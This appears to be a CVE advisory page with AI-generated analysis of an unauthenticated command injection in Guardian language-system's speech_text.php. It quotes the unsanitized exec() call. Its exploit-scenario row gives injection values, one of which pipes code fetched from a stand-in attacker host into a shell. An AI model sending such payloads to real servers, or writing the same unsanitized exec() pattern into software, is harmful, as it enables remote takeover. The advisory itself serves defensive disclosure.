Remote unauthenticated HTTP parameter flows into shell exec with no interaction (AV:N/AC:L/PR:N/UI:N); arbitrary command execution yields full C/I/A impact.

2DescriptionCVE.org
Guardian language-system passes the id GET parameter directly into a PHP exec() call in speech_text.php (line 18) without sanitization: exec(\"php jobs/speech_audio_text.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.
AnalysisAI
Unauthenticated OS command injection in Guardian language-system's speech_text.php allows remote attackers to execute arbitrary shell commands by injecting metacharacters into the id GET parameter, which is passed unsanitized into a PHP exec() call. No authentication is required (CVSS 4.0 base 9.3), giving full read/write/availability impact on the host. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The exact prerequisite is that the attacker can reach the speech_text.php endpoint over HTTP and supply the id GET parameter - the vulnerable code path passes $_GET['id'] directly into a shell exec() call in jobs/speech_audio_text.php. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | All available signals point to genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker discovers a Guardian language-system instance and sends a single crafted HTTP GET request to speech_text.php with an id value such as 1;id or 1$(curl attacker.com/x|sh), appending shell metacharacters. Because the parameter is passed straight into exec() with no authentication, the injected command runs immediately with web-server privileges, letting the attacker establish a reverse shell, read application secrets, or pivot into the internal network. … |
| Remediation | No vendor-released patch version was identified in the provided data, so no exact fix version can be cited; monitor the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-speech-text-php) for an upstream fixed release. … Detailed patch versions, workarounds, and compensating controls in full report. |
